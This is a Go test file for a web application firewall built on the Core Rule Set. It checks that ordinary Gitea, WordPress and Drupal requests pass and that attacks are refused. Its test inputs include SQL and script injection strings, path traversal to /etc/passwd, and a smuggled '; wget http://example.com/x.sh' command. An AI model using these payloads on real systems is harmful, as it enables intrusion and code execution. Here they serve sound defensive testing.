check / check (push) Waiting to run
Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
1870 lines
60 KiB
Go
1870 lines
60 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/netip"
|
|
"net/url"
|
|
"os"
|
|
"path/filepath"
|
|
"reflect"
|
|
"slices"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
|
// by default.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
|
|
|
|
// loaded holds, for each set of settings the tests have asked for, the
|
|
// function that loads the Core Rule Set with them once.
|
|
//
|
|
//nolint:gochecknoglobals // the tests share it
|
|
var loaded = struct {
|
|
sync.Mutex
|
|
|
|
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
|
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
|
|
|
// loaderFor returns the function that loads the Core Rule Set with params
|
|
// once, making it the first time params are asked for. %#v writes a nil
|
|
// Apps, which gives every app's fixes, apart from an empty one, which
|
|
// gives none.
|
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
|
loaded.Lock()
|
|
defer loaded.Unlock()
|
|
|
|
settings := fmt.Sprintf("%#v", params)
|
|
|
|
load, found := loaded.loaders[settings]
|
|
if !found {
|
|
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(params)
|
|
})
|
|
loaded.loaders[settings] = load
|
|
}
|
|
|
|
return load
|
|
}
|
|
|
|
// shared returns the Core Rule Set with params, loaded once for every
|
|
// test that asks for the same settings.
|
|
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
crs, err := loaderFor(params)()
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
return crs
|
|
}
|
|
|
|
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
|
|
// with the rules in disabled switched off. The set is shared with every
|
|
// test that asks for the same settings.
|
|
func sharedCoreRuleSet(
|
|
t *testing.T, level int, disabled ...int,
|
|
) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
|
|
}
|
|
|
|
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
|
|
// WordPress request at once, many times over, on one Core Rule Set, as
|
|
// sww's server does. Each passes only while its own exclusions apply.
|
|
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const rounds = 50
|
|
|
|
crs := atDefaults(t)
|
|
targets := []string{
|
|
"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
|
|
"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
|
|
}
|
|
|
|
var inspecting sync.WaitGroup
|
|
|
|
for range rounds {
|
|
for _, target := range targets {
|
|
inspecting.Go(func() {
|
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
"http://git.example"+target, nil)
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) {
|
|
t.Errorf("GET %s: %+v, %v", target, result, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
inspecting.Wait()
|
|
}
|
|
|
|
// request is a request a test inspects: its method, its target, the path
|
|
// and the query as a client sends them, and its headers, each written
|
|
// "Name: value".
|
|
type request struct {
|
|
method, target string
|
|
headers []string
|
|
}
|
|
|
|
// get is a GET request for target with headers.
|
|
func get(target string, headers ...string) request {
|
|
return request{http.MethodGet, target, headers}
|
|
}
|
|
|
|
// inspect returns what crs finds in r, sent to git.example by a browser,
|
|
// whose Host, User-Agent and Accept r.headers may replace.
|
|
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
|
|
t.Helper()
|
|
|
|
result, _ := inspectBody(t, crs, r, "")
|
|
|
|
return result
|
|
}
|
|
|
|
// inspectBody is inspect for r with body, which is announced with its
|
|
// Content-Length unless it is "", and returns what crs read of body too.
|
|
func inspectBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
) (coreruleset.Result, string) {
|
|
t.Helper()
|
|
|
|
req := httptest.NewRequestWithContext(t.Context(), r.method,
|
|
"http://git.example"+r.target, strings.NewReader(body))
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
if body != "" {
|
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
}
|
|
|
|
for _, header := range r.headers {
|
|
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
|
// whatever their case.
|
|
name, value, _ := strings.Cut(header, ": ")
|
|
switch http.CanonicalHeaderKey(name) {
|
|
case "Host":
|
|
req.Host = value
|
|
case "Transfer-Encoding":
|
|
req.TransferEncoding = []string{value}
|
|
default:
|
|
req.Header.Set(name, value)
|
|
}
|
|
}
|
|
|
|
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil {
|
|
t.Fatalf("read the body: %v", err)
|
|
}
|
|
|
|
return result, string(read)
|
|
}
|
|
|
|
// wantResult checks what crs finds in r.
|
|
func wantResult(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
|
|
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
|
|
}
|
|
}
|
|
|
|
// matched is the result of a request that the rules ids match, each of
|
|
// them a critical one, which adds 5 to the score.
|
|
func matched(ids ...int) coreruleset.Result {
|
|
const critical = 5
|
|
|
|
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
|
|
}
|
|
|
|
// atDefaults returns the Core Rule Set as sww runs it by default.
|
|
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
|
|
}
|
|
|
|
// wantChange checks that crs lets through passes, a request one of the
|
|
// six changes or an app's fixes are for, and still finds result in
|
|
// refused, a request like it that they are not for.
|
|
func wantChange(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
|
result coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
wantResult(t, crs, passes, coreruleset.Result{})
|
|
wantResult(t, crs, refused, result)
|
|
}
|
|
|
|
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, r := range []request{
|
|
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
|
|
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
|
|
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
|
|
} {
|
|
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
|
|
}
|
|
|
|
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
|
|
}
|
|
|
|
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
pushType = "Content-Type: application/x-git-receive-pack-request"
|
|
fetchType = "Content-Type: application/x-git-upload-pack-request"
|
|
length = "Content-Length: 1024"
|
|
push = "/owner/repo.git/git-receive-pack"
|
|
fetch = "/owner/repo.git/git-upload-pack"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
|
|
coreruleset.Result{})
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, fetch, []string{
|
|
fetchType, length, "Content-Encoding: gzip",
|
|
}},
|
|
coreruleset.Result{})
|
|
|
|
// Every other header on the Core Rule Set's list stays refused.
|
|
for _, header := range []string{
|
|
"Proxy: http://proxy.example",
|
|
"Lock-Token: token",
|
|
"Content-Range: bytes 0-1023/1024",
|
|
"If: token",
|
|
"X-HTTP-Method-Override: DELETE",
|
|
"X-HTTP-Method: DELETE",
|
|
"X-Method-Override: DELETE",
|
|
"X-Middleware-Subrequest: middleware",
|
|
} {
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, header}},
|
|
matched(920450))
|
|
}
|
|
}
|
|
|
|
func TestTransferEncodingIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// git sends a large push in chunks, with no Content-Length. Without
|
|
// Transfer-Encoding, that would be a POST without a length (920180).
|
|
wantResult(t, atDefaults(t),
|
|
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
"Transfer-Encoding: chunked",
|
|
}},
|
|
coreruleset.Result{})
|
|
}
|
|
|
|
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const attack = "id=1'%20OR%20'1'='1"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Coraza keeps 1000: an attack that is the 1000th is read, and one
|
|
// after it is not, but the request is a match all the same.
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
|
|
|
|
// So it is with the fields of a form data or JSON body.
|
|
crs = readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 999) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 1000) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
|
|
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
|
|
get(oauth+"next=http://localhost:52341/"), matched(934110))
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, value := range []struct {
|
|
name string
|
|
// result is what a parameter that is not one of gitea's gets.
|
|
result coreruleset.Result
|
|
}{
|
|
// A file on the list of system files.
|
|
{".gitignore", matched(930120)},
|
|
// A command's name, after a directory on the list of shell paths.
|
|
{"bin/docker-entrypoint", matched(932260, 932160)},
|
|
} {
|
|
for _, parameter := range []string{
|
|
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
|
|
"artifactName", "redirect_to",
|
|
} {
|
|
wantChange(t, crs, get("/?"+parameter+"="+value.name),
|
|
get("/?q="+value.name), value.result)
|
|
}
|
|
}
|
|
|
|
// What only those rules refuse gets through there too, but path
|
|
// traversal and SQL injection are still refused.
|
|
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
wantResult(t, crs, get("/?path=../../etc/passwd"),
|
|
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
|
|
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
|
|
}
|
|
|
|
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
|
|
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
|
|
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
}
|
|
|
|
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
|
|
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
|
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
|
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
|
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
|
|
|
// Among other cookies, which are read.
|
|
wantChange(t, crs,
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
matched(930120))
|
|
}
|
|
|
|
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
search = "https://git.example/explore/repos?q=env"
|
|
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
|
|
"java.base/share/classes/java/lang/Runtime.java"
|
|
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
|
|
matched(932340))
|
|
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
|
|
get("/", "X-Page: "+runtimeJava), matched(944110))
|
|
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
|
|
matched(944130))
|
|
|
|
// It is still checked for script and SQL injection.
|
|
wantResult(t, crs,
|
|
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
|
|
matched(941110, 941160))
|
|
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
|
|
matched(942100))
|
|
}
|
|
|
|
func TestEmptyHeaderIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// An empty User-Agent is a notice, which adds 2.
|
|
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
|
|
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
|
|
}
|
|
|
|
func TestParanoiaLevel(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Accept-Charset is refused from paranoia level 2.
|
|
r := get("/", "Accept-Charset: utf-8")
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
|
|
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
|
|
}
|
|
|
|
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A method not allowed, and a Host that is an IP address, a warning,
|
|
// which adds 3.
|
|
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r,
|
|
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
|
|
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
|
|
}
|
|
|
|
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
reuse := "?mount=sha256:0000&from=owner/python3-app"
|
|
|
|
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
|
|
matched(932260))
|
|
|
|
// A command after the image's name is still refused.
|
|
wantResult(t, crs,
|
|
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
}
|
|
|
|
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
|
// for each kind of fix, each with what the Core Rule Set finds in it
|
|
// without them.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var giteaFixed = []struct {
|
|
request request
|
|
result coreruleset.Result
|
|
}{
|
|
// A search of code, on the path of gitea's search.
|
|
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
|
|
// A file name, in a parameter gitea sends names in, on any path.
|
|
{get("/?path=.gitignore"), matched(930120)},
|
|
// A file name, in a cookie of gitea's.
|
|
{
|
|
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
|
matched(930120),
|
|
},
|
|
}
|
|
|
|
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
|
// one that serves another app.
|
|
const (
|
|
giteaHost = "git.example"
|
|
otherHost = "blog.example"
|
|
)
|
|
|
|
// gitea is gitea's name in SWW_APPS.
|
|
const gitea = "gitea"
|
|
|
|
// wordpress is WordPress's name in SWW_APPS.
|
|
const wordpress = "wordpress"
|
|
|
|
// withHost returns r sent to host.
|
|
func withHost(r request, host string) request {
|
|
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
|
|
}
|
|
|
|
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
|
// giving apps.
|
|
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
|
})
|
|
}
|
|
|
|
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, nil)
|
|
|
|
for _, fixed := range giteaFixed {
|
|
for _, host := range []string{giteaHost, otherHost} {
|
|
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
|
|
|
// The hostname is matched without the port and without regard to case.
|
|
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
|
for _, fixed := range giteaFixed {
|
|
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, apps := range []map[string][]string{
|
|
{giteaHost: {gitea}},
|
|
// SWW_APPS set empty lists no hostname.
|
|
{},
|
|
} {
|
|
crs := servingApps(t, apps)
|
|
|
|
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
|
for _, fixed := range giteaFixed {
|
|
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {wordpress},
|
|
})
|
|
|
|
// A search, which only WordPress's fixes let through.
|
|
search := get("/?s=python3")
|
|
|
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
}
|
|
|
|
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
|
|
|
// A file name that only gitea's fixes let through, and a search that only
|
|
// WordPress's fixes let through.
|
|
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
|
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
|
|
}
|
|
}
|
|
|
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
|
// exclusions file at path.
|
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
|
|
})
|
|
}
|
|
|
|
// exclusionsFile writes text to a file of exclusions and returns its path.
|
|
func exclusionsFile(t *testing.T, text string) string {
|
|
t.Helper()
|
|
|
|
path := filepath.Join(t.TempDir(), "exclusions.conf")
|
|
|
|
err := os.WriteFile(path, []byte(text), 0o600)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return path
|
|
}
|
|
|
|
// backupFileExclusion is an exclusions file that switches 920500, a rule
|
|
// of phase 1, off for the path of a backup file under /files/.
|
|
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
|
|
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
|
|
|
|
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
|
|
}
|
|
|
|
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: []int{920500},
|
|
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
|
|
}
|
|
|
|
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := withExclusions(exclusionsFile(t,
|
|
"# 942100: GET /issues/900123\n"+backupFileExclusion))
|
|
if err != nil {
|
|
t.Errorf("the exclusions did not load: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
missing := filepath.Join(t.TempDir(), "missing.conf")
|
|
|
|
_, err := withExclusions(missing)
|
|
if err == nil {
|
|
t.Errorf("%s loaded", missing)
|
|
}
|
|
|
|
for _, tc := range []struct{ text, want string }{
|
|
{"SecNoSuchDirective On\n", "unknown directive"},
|
|
// sww's own rules may not be switched off or changed, by
|
|
// id or in a range, on one line or split over several.
|
|
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
|
|
"names 899999-901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
|
|
"names 899999-+901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
|
|
"names 900500",
|
|
},
|
|
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
|
|
" ctl:ruleRemoveById=9005\\\n 00\"\n",
|
|
"names 900500",
|
|
},
|
|
// The Core Rule Set's rules load after the file.
|
|
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
|
|
{
|
|
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
|
|
"SecRuleUpdateTargetById in the exclusions file",
|
|
},
|
|
} {
|
|
_, err := withExclusions(exclusionsFile(t, tc.text))
|
|
if err == nil || !strings.Contains(err.Error(), tc.want) {
|
|
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
|
|
}
|
|
}
|
|
}
|
|
|
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
|
// Each has the Referer of a page that names the same, as a page opened
|
|
// from it has.
|
|
func giteaRequests(t *testing.T) []request {
|
|
t.Helper()
|
|
|
|
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
var requests []request
|
|
|
|
for line := range strings.Lines(string(text)) {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" || strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
|
|
target, header, _ := strings.Cut(line, " ")
|
|
|
|
headers := []string{"Referer: http://git.example" + target}
|
|
if header != "" {
|
|
headers = append(headers, header)
|
|
}
|
|
|
|
requests = append(requests, get(target, headers...))
|
|
}
|
|
|
|
return requests
|
|
}
|
|
|
|
// An SQL injection, a script injection and a shell command after a ";", as
|
|
// query values. Every app's tests check that its fields still refuse the
|
|
// first two.
|
|
const (
|
|
sqlInjection = "1'%20OR%20'1'='1"
|
|
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
|
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
)
|
|
|
|
// passwordField is the form data field password, ending in "=", in which
|
|
// several apps take a password.
|
|
const passwordField = "password="
|
|
|
|
// hardValues are words that name commands and files, as a query or form
|
|
// value. An app's tests check that its fields let them through.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|
|
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
|
// requests in the file name in testdata is refused on example.com, where
|
|
// they were recorded, while SWW_APPS lists only app for it. They are
|
|
// checked at the defaults and while bodies are read. With SWW_APPS unset,
|
|
// every app's fixes apply. These only switch checks off, so the requests
|
|
// pass then too. A request with neither a body nor a Content-Type header is
|
|
// checked only at the defaults: with neither, the set that reads bodies has
|
|
// nothing more to check. Each request runs as its own parallel subtest.
|
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
apps := map[string][]string{"example.com": {app}}
|
|
defaults := servingApps(t, apps)
|
|
bodies := shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
Apps: apps,
|
|
})
|
|
|
|
for _, recorded := range recordedRequests(t, name) {
|
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
}
|
|
|
|
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
|
name, _, _ := strings.Cut(header, ":")
|
|
|
|
return strings.EqualFold(name, "Content-Type")
|
|
})
|
|
if recorded.Body == "" && !typed {
|
|
return
|
|
}
|
|
|
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
|
if got.Score >= threshold {
|
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
|
r.method, r.target, recorded.Body, got)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, r := range giteaRequests(t) {
|
|
if got := inspect(t, crs, r); got.Score >= threshold {
|
|
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
|
}
|
|
}
|
|
|
|
// In q too, off gitea's search pages.
|
|
for _, parameter := range []string{"id", "q"} {
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2Fcustom%2Fconf%2Fapp.ini",
|
|
scriptInjection,
|
|
} {
|
|
target := "/owner/repo?" + parameter + "=" + attack
|
|
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// gitea has no owner named api, so these are not a repository's search,
|
|
// issues or pull requests. /api/v2/search is Mastodon's search.
|
|
for _, path := range []string{
|
|
"/api/v2/search",
|
|
"/api/v2/issues",
|
|
"/api/v2/pulls",
|
|
} {
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
